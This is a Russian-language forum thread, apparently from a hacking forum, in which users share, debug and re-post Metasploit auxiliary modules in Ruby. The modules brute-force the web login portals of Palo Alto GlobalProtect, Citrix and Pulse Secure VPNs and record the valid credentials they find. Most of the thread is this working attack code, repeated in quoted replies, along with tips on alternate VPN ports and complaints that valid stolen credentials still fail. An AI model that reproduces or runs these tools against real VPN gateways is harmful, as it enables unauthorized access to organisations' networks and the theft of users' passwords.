  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/global-protect/login.esp'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/global-protect/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/global-protect/logout.esp',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Palo Alto GlobalProtect VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login' => 'true',
        'user' => user,
        'passwd' => pass,
        'ok' => 'Sign In',
        'clientVer' => '4100',
        'clientos' => 'Windows',
        'clientgpversion' => '5.0.7.0',
        'userAgent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
      }

      res = send_request_cgi(
              'uri' => '/global-protect/login.esp',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/global-protect\/portal\/dashboard/)
     
        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end
Да, теперь идет проверка, но только гуды как FAILED LOGIN выдает

Скрытый контент для пользователей: samarie.
 
Wolverine сказал(а):
Да, теперь идет проверка, но только гуды как FAILED LOGIN выдает

Скрытое содержимое
Готово!
Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Palo Alto GlobalProtect VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Palo Alto GlobalProtect VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Palo Alto GlobalProtect VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/global-protect/login.esp'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/global-protect/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/global-protect/logout.esp',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Palo Alto GlobalProtect VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin

      post_params = {
        'prot' => '',
        'server' => '',
        'inputStr' => '',
        'action' => 'getsoftware',
        'user' => user,
        'passwd' => pass,
        'new-passwd' => '',
        'confirm-new-passwd' => '',
        'ok' => 'Log In'
      }

      res = send_request_cgi(
              'uri' => '/global-protect/login.esp',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 302 &&
         res.body.match(/global-protect/)
 
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")

          do_logout(res.get_cookies)

          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user} ")
          return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end

Также нашел и исправил ошибки в других модулях
Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Citrix VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Citrix VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_vpn?
      vprint_error("Application does not appear to be Citrix VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Citrix VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/vpn/index.html', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/vpn/index.html'
    )
  end

  # Verify whether we're working with Citrix VPN or not
  def is_app_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/vpn/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/Citrix/AccessPlatform/auth/logout.aspx',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Citrix VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login'  => user,
        'dummy_username' => '',
        'dummy_pass1' => '',
        'passwd' => pass
      }

      # Check to use domain/realm or not
      if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
        post_params['domain'] = ""
      else
        post_params['domain'] = datastore['DOMAIN']
      end

      res = send_request_cgi(
              'uri' => '/cgi/login',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/Citrix\/AccessPlatform/)

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end
Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Pulse Secure VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Pulse Secure VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Pulse Secure VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Pulse Secure VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/dana-na/auth/url_default/welcome.cgi'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/dana-na/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/dana-na/auth/logout.cgi',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Pulse Secure VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'tz_offset' => '-300',
        'username' => user,
        'password' => pass,
        'realm' => '',
        'btnSubmit' => 'Sing In'
      }

      res = send_request_cgi(
              'uri' => '/dana-na/auth/url_default/login.cgi',
              'method' => 'POST',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match('/my.pulse.secure')

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end

Если вы найдете какую-либо ошибку в модулях, то буду очень признателен, если сообщите мне в РМ

Большое спасибо Wolverine!!
 
Возник вопрос относительно значения RPORT.
Если с фортиками все чуть проще, то как быть с определением списка возможных портов (помимо дефолтного 443) для этих VPN'ов?
 
redog сказал(а):
Возник вопрос относительно значения RPORT.
Если с фортиками все чуть проще, то как быть с определением списка возможных портов (помимо дефолтного 443) для этих VPN'ов?
10443, 8443, 4443
 
Пожалуйста, обратите внимание, что пользователь заблокирован
samarie сказал(а):
Готово!
Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Palo Alto GlobalProtect VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Palo Alto GlobalProtect VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Palo Alto GlobalProtect VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Palo Alto GlobalProtect VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/global-protect/login.esp'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/global-protect/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/global-protect/logout.esp',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Palo Alto GlobalProtect VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin

      post_params = {
        'prot' => '',
        'server' => '',
        'inputStr' => '',
        'action' => 'getsoftware',
        'user' => user,
        'passwd' => pass,
        'new-passwd' => '',
        'confirm-new-passwd' => '',
        'ok' => 'Log In'
      }

      res = send_request_cgi(
              'uri' => '/global-protect/login.esp',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 302 &&
         res.body.match(/global-protect/)
 
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")

          do_logout(res.get_cookies)

          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "paloalto.globalprotect.vpn",data: "User: #{user} ")
          return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end

Также нашел и исправил ошибки в других модулях
Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Citrix VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Citrix VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_vpn?
      vprint_error("Application does not appear to be Citrix VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Citrix VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/vpn/index.html', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/vpn/index.html'
    )
  end

  # Verify whether we're working with Citrix VPN or not
  def is_app_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/vpn/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/Citrix/AccessPlatform/auth/logout.aspx',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Citrix VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'login'  => user,
        'dummy_username' => '',
        'dummy_pass1' => '',
        'passwd' => pass
      }

      # Check to use domain/realm or not
      if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
        post_params['domain'] = ""
      else
        post_params['domain'] = datastore['DOMAIN']
      end

      res = send_request_cgi(
              'uri' => '/cgi/login',
              'method' => 'POST',
              'ctype' => 'application/x-www-form-urlencoded',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match(/Citrix\/AccessPlatform/)

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
          report_note(ip: rhost, type: "citrix.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end
Ruby: 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Pulse Secure VPN Bruteforce Login Utility',
      'Description'    => %{
        This module scans for Pulse Secure VPN web login portals and
        performs login brute force to identify valid credentials.
      },
      'Author'         => [ 'Samarie' ],
      'License'        => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'RPORT' => 443
        }
    ))

  end

  def run_host(ip)
    unless check_conn?
      vprint_error("Connection failed, Aborting...")
      return false
    end

    unless is_app_ssl_vpn?
      vprint_error("Application does not appear to be Pulse Secure VPN. Module will not continue.")
      return false
    end

    vprint_good("Application appears to be Pulse Secure VPN. Module will continue.")

    vprint_status("Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  # Verify if server is responding
  def check_conn?
    begin
      res = send_request_cgi('uri' => '/', 'method' => 'GET')
      if res
        vprint_good("Server is responsive...")
        return true
      end
    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
    end
    false
  end

  def get_login_resource
    send_request_raw(
      'uri' => '/dana-na/auth/url_default/welcome.cgi'
    )
  end

  # Verify whether we're working with SSL VPN or not
  def is_app_ssl_vpn?
    res = get_login_resource
    res && res.code == 200 && res.body.match(/dana-na/)
  end

  def do_logout(cookie)
    send_request_cgi(
      'uri' => '/dana-na/auth/logout.cgi',
      'method' => 'GET',
      'cookie' => cookie
    )
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: 'Pulse Secure VPN',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  # Brute-force the login page
  def do_login(user, pass)
    vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")

    begin
      post_params = {
        'tz_offset' => '-300',
        'username' => user,
        'password' => pass,
        'realm' => '',
        'btnSubmit' => 'Sing In'
      }

      res = send_request_cgi(
              'uri' => '/dana-na/auth/url_default/login.cgi',
              'method' => 'POST',
              'vars_post' => post_params
            )

      if res &&
         res.code == 200 &&
         res.body.match('/my.pulse.secure')

        do_logout(res.get_cookies)
        if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user}")
        else
          print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{datastore["DOMAIN"]}")
          report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
          report_note(ip: rhost, type: "pulse-secure.ssl.vpn",data: "User: #{user} / Domain: #{datastore["DOMAIN"]}")
        end

        return :next_user

      else
        vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
      end

    rescue ::Rex::ConnectionRefused,
           ::Rex::HostUnreachable,
           ::Rex::ConnectionTimeout,
           ::Rex::ConnectionError,
           ::Errno::EPIPE
      vprint_error("HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end

Если вы найдете какую-либо ошибку в модулях, то буду очень признателен, если сообщите мне в РМ

Большое спасибо Wolverine!!
pulse secure проверил валидные креды, итог: FAILED LOGIN - "login":"password"
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх